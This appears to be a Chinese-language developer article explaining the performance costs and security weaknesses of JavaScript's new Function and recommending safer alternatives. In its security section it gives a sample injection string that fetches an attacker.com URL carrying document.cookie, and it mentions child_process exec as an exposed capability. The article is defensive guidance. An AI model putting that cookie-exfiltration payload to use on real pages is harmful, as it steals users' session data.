new Function存在性能开销大和安全边界弱两大硬伤：解析编译成本高、无法优化，且虽仅访问全局作用域但仍可滥用全局API发起攻击，应优先选用策略模式、专用表达式库等安全替代方案。
直接用 new Function 创建函数，看似灵活，实则暗藏两个硬伤：性能开销大、安全边界弱。
性能缺陷：解析和编译成本高，无法被优化
每次调用 new Function，JavaScript 引擎都必须将传入的字符串当作全新代码进行词法分析、语法解析、生成字节码、甚至 JIT 编译——这个过程和 eval 类似，但比常规函数声明/表达式慢一个数量级。
- 函数体字符串无法在编译期静态检查，引擎无法提前内联、消除死代码或做作用域优化
- 生成的函数不参与闭包优化，也不共享词法环境，导致每次调用都走完整执行路径
- 频繁使用会触发 V8 的“去优化”（deoptimization），尤其当参数类型不稳定时，性能波动明显
安全风险：隔离不彻底，仍可能被滥用
new Function 虽然比 eval 作用域更窄（只访问全局作用域），但并非“安全沙箱”：
- 它能直接访问全局对象（如
window、globalThis），可读写localStorage、发起网络请求、操纵 DOM - 若用户可控输入拼接到函数体字符串中（例如动态校验规则），仍可能注入恶意逻辑，比如：
"console.log(1); fetch('https://attacker.com/log?data='+document.cookie)" - 在模块环境中，它仍可访问
import.meta或通过require（Node）加载任意模块，扩大攻击面
为什么不能靠“作用域隔离”免责？
有人认为 “new Function 没有外层局部变量，所以更安全”，这是误解：
立即学习“Java免费学习笔记（深入）”；
- 全局变量本身常含敏感数据（如
CSRF_TOKEN、userSession） - 浏览器中
window上挂载的 API（fetch、localStorage、document）默认全部可见 - 若运行在 Node.js，
global或process对象暴露更多危险能力（如require('child_process').exec）
替代方案更值得优先考虑
除非明确需要运行完全动态、不可预知的代码（如在线 JS 沙盒、公式引擎），否则应避免 new Function：
- 配置驱动逻辑 → 用策略模式 + 映射表代替字符串解析
- 动态计算表达式 → 使用专用库如
mathjs.eval或expr-eval，它们限制作用域且禁用副作用 - 低代码逻辑 → 预定义原子操作，组合 AST 执行，而非拼接字符串
